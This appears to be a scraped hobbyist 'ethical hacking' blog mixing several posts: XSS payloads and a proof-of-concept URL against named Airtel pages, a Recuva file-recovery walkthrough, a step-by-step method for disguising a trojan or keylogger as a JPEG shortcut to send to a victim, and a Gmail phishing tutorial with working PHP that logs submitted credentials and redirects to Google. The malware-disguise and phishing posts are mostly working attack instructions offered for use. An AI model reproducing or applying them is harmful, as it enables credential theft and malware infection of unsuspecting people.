FOUND A VULNERABILITY IN AIRTEL WEBSITE

A Security Researcher Vedachala who got acknowledged by PayPal, Zynga and more sites, has discovered a Reflected Cross Site scripting vulnerability in the India's leading telecommunications services provider, Airtel(airtel.com)

The researcher found that Username and Password field in this page "ebpp.airtelworld.com/myaccount" are vulnerable to XSS attack. This vulnerability is POST request based xss.

When you enter the this code in the username field with any password , it results in XSS :

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

The researcher has claimed to have found XSS on BSNL, Tatadocomo and 000webhost. He also claimed that he reported about vulnerability to Airtel but they failed to respond.

Recently,  I(Sabari Selvan aka BreakTheSec) discovered a XSS vulnerability in Airtel website and  reported to them.  It seems like they neither reply nor patch the vulnerability

The POC code for my finding:

http://www.airtel.in/wps/wcm/connect/airtel.in/airtel.in/home/foryou/mobile/prepaid+services/reach+airtel/PG_FY_MB_Prepaid_ReachAirtel/?page=cs_m&CIRCLE=2&CIRCLENAME="><script>alert("BreakTheSec")</script>

Recover Deleted Files Easily :)

Recover Deleted Files Easily :)

Accidentally deleted an important file? Lost something important when your computer crashed? No problem! Recuva recovers files deleted from your Windows computer, Recycle Bin, digital camera card, or MP3 player.

We delete files by mistake, don’t we? And while deleting is easy, recovering them isn’t. Luckily there are free file recovery tools available. Recuva is one of them. It’s a pretty useful and feature-rich tool which can recover the files you deleted by mistake. It is free to download and easy to use.

Besides Windows computers, it also supports removable media like Smartmedia, Secure digital cards, Memory stick, digital cameras, Sony memory sticks, Compact flash cards and many more.

How to use Recuva to recover deleted files

1. Download, install and run the program on your computer. A welcome screen will appear. Click “Next” to proceed.  http://www.piriform.com/recuva

2. It will ask you which kind of files you are trying to retrieve? Check any one of the given options. If you want to retrieve two kinds of files, ex. pictures and music then you cannot select both the options simultaneously. There’s a trick though. You can make use of advance option .

3. Select the location where you want to retrieve the files from. Now the second option “On my media card or iPod” can come in handy if you want to retrieve deleted files from removable media such as phone’s memory card, iPod or digital cameras.

If you want to look into any specific location on your computer, then click on “Browse” button.

5. Browse for the folder. 

6. In the next screen, click “Start” button. Don’t select deep scan option until you fail on your first attempt to recover the  file. Note that “Deep scan” could take over an hour depending upon the size of your hard disk.

7. The process will start. I was amazed to see the speed of scan. It is really very fast. It scanned 38 GB of data within 5 seconds. Very effective. Now its time to see the result.

8. It will show all the deleted files . To retrieve the file, check the box next to file name and click on “Recover” button.

9. Select the folder where you want to recover your file. You should select a drive or a folder different from the scanned drive . After selecting the appropriate location, click OK button.

10. Now check the folder. You will get your file back. Now suppose you want to scan for deleted music. You don’t need to go back and start the process again. Just click on “Switch to advance mode” button in the opened Recuva Window.

In the advanced mode you can select any drive and media types from the drop down. There is “option” button available where you could select various options like language, view mode,  secure overwriting and other scan options.

This way you can use Recuva to recover deleted files. I found this tool useful because it is speedier and more effective than other similar utilities.

HIDE .EXE FILES INTO IMAGE 

This is a good trick to hide your exe files into a jpg file..!

How about sending a trojan or a keylogger into your victim using this trick..??

1) Firstly, create a new folder and make sure that the options 'show hidden files and folders' is checked and ‘hide extensions for known file types’ is unchecked.
Basically what you need is to see hidden files and see the extension of all your files on your pc.

2) Paste a copy of your server on the new created folder. let's say it's called 'server.exe' (that's why you need the extension of files showing, cause you need to see it to change it)

3) Now you’re going to rename this 'server.exe' to whatever you want, let’s say for example 'picture.jpeg'

4) Windows is going to warn you if you really want to change this extension from exe to jpeg, click YES.

5) Now create a shortcut of this 'picture.jpeg' in the same folder.

6) Now that you have a shortcut, rename it to whatever you want, for example, 'me.jpeg'.

7) Go to properties (on file me.jpeg) and now you need to do some changes there.

8) First of all delete all the text on field 'Start In' and leave it empty.

9) Then on field 'Target' you need to write the path to open the other file (the server renamed 'picture.jpeg') so you have to write this :-
'C:\WINDOWS\system32\cmd.exe /c picture.jpeg'

10) The last field, 'c picture.jpeg' is always the name of the first file. If you called the first file 'soccer.avi' you gotta write 'C:\WINDOWS\system32\cmd.exe /c soccer.avi'.

11) So what you’re doing is when someone clicks on 'me.jpeg', a cmd will execute the other file 'picture.jpeg' and the server will run.

12) On that file 'me.jpeg' (shortcut), go to properties and you have an option to change the icon. Click that and a new window will pop up and you have to write this :-
%SystemRoot%\system32\SHELL32.dll . Then press OK.

13) You can set the properties 'Hidden' for the first file 'picture.jpeg' if you think it’s better to get a connection from someone.

14) But don’t forget one thing, these 2 files must always be together in the same folder and to get connected to someone they must click on the shortcut created not on the first file. So rename the files to whatever you want considering the person and the knowledge they have on this matter.

15) For me for example I always want the shortcut showing first so can be the first file to be opened. So I rename the server to 'picture2.jpeg' and the shortcut to 'picture1.jpeg'.
This way the shortcut will show up first. If you set hidden properties to the server 'picture.jpeg' then you don’t have to bother with this detail but I’m warning you, the hidden file will always show up inside of a Zip or a Rar file.

16) So the best way to send these files together to someone is compress them into Zip or Rar.

17) inside the Rar or Zip file you can see the files properties and even after all this work you can see that the shortcut is recognized like a shortcut but hopefully the person you sent this too doesn’t know that and is going to open it.

Andhrapradesh State Road Transport corporation (APSRTC) Offical website is hacked by bangladesh black hackers at 5pm yesterday it says orionshackers hacked our websiite and later it was recovered website This is 2nd time dat was our govt websites hacked the 1st attack was 12feb 2012 and now.

 

for more details 

http://www.tgnns.com/2013/apsrtc-gov-in-web-site-hacked/

HACKING GMAIL

In this following tutorial to phishing I‘ll demonstrate how to hack Gmail account password by phishing. S I consider this as second tutorial to phishing. First of all we will create a fake login page, to create it open www.gmail.com in your web browser, click on file then save as and select file name “Gmail” and save as type “Web page Complete”. After above process you’ll have a file named Gmail.htm and a folder named Gmail_files in folder in which you’ll save web page. Now open Gmail.htm in notepad, find for action word and locate following string,

action="https://www.google.com/accounts/ServiceLoginAuth"

Once located change action string by phish.php, so that above string should appear as following,

action="phish.php"

Now step number two is to create phish.php file. Open notepad and copy following code in it,

<?php

header ('Location: https://www.google.com/accounts/ServiceLoginAuth ');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

Save it as phish.php, now create an empty password log file log.txt. Now sign up for a free webhosting service which supports php from http://www.100best-free-web-space.com/. Now upload Gmail.htm file, php file, password log file and Gmail_files folder to that web host. Change permission of log.txt file to777 from settings so that no one else than you can see or edit it.

Now you have to vector this phished site to your victim to hack his/her password. We will cover vectoring phished pages and countermeasures to phishing after few more tutorials on phishing. Till then have a nice time, thanks for reading and keep visiting.

PHISHING TECHNIQUE

What Is Phishing

---

Here in this post we will discus a little about what is phishing. Please note what we are covering here is just basics and not a phishing tutorial. In phishing attack, an attacker creates a fake login page of a legitimate website and lures victim to login using it. The site under attack is known as phished site and the fake login page used for capturing or stealing information is known as phished page. To perform phishing attack an attacker performs following steps,

First of all he gets a free web host and then selects a domain which somehow resembles the site he wants to phish. For example to hack Gmail password he/she may select domain like Gmail. Look carefully both words appear nearly similar when just overlooked and that is where an attacker makes a catch.

Next he opens the site he wants to phish and saves it on his/her desktop then he/she uploads those files to their own domain. The attacker then creates a web page with a sorry or error message to make victim believe site is temporarily down or under maintenance or he types following lines in php file and uploads it to his/her domain,

<?php

header ('Location: 'www.realdomainname.com');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

   fwrite($handle, $variable);

   fwrite($handle, "=");

   fwrite($handle, $value);

   fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

.

Where he/she replace red background URL by real URL of phished page. Then this file is also uploaded there so that victim should get redirected to original website to avoid detection of phishing attack.

Nearly all phishing attacks are conducted in same way. 

INTRODUCTION TO HACKING

Whenever term hacker comes before many people consider it as a guy sitting inside a room or garage with a bottle or beer and a Laptop or Desktop doing wonders on click of buttons. But the reality check is hacking is not that easy as portrayed in movies and television and term hacker doesn't mean a computer criminal.

So here first of all we'll clear all our misconceptions related to words hackers and hacking

Types Of Hackers:

White Hats: White hat hackers are good guys who use their hacking skills for defensive purposes. Organizations and industries pay them high salaries to protect their systems and networks from intrusion.

Black Hats: Black hats are actually bad guys in filed. Their main job is to breach security and make money. They make money by using their hacking skills for offensive purposes.

Grey Hats: Gray hats are hackers who work for offensive and defensive purposes depending on situations. They are hired by people to intrude and protect systems.

Types Of Hacking:

Local Hacking: This type of hacking is done when a hacker has full access to the system to implant a virus, keylogger and RATs

Remote Hacking: Remote hacking is done on a remote system using Internet.

Social Engineering: Social Engineering is kinda interacting skill that a hacker uses to manipulate people giving out sensitive information. Its kinda trick done using good verbal, social skills and understanding.

WELCOME MESSAGE

HAI FRIENDS,

 

ITS ME YOUR VISHWA CREATED A NEW BLOG ON  ETHICAL HACKING FOR EDUCATIONAL PURPOSE SO FRIENDS HAVE HAPPY SURFING AND PLEASE USE IT FOR EDUCATIONAL ONLY NOT FOR SELFISH

I WILL POST ALL TIPS & TRICKS ON E-HACKING WITH ALL SOURCE CODE AND MAKE USE FUL IT FOR PREVENTION FOR YOUR GMAIL AND WEBSITES

FEEL FREE TO ASK ANY DOUBTS AND ARTICLES YOU WANT 

THANX TO ALL HAVE A HAPPY SURFING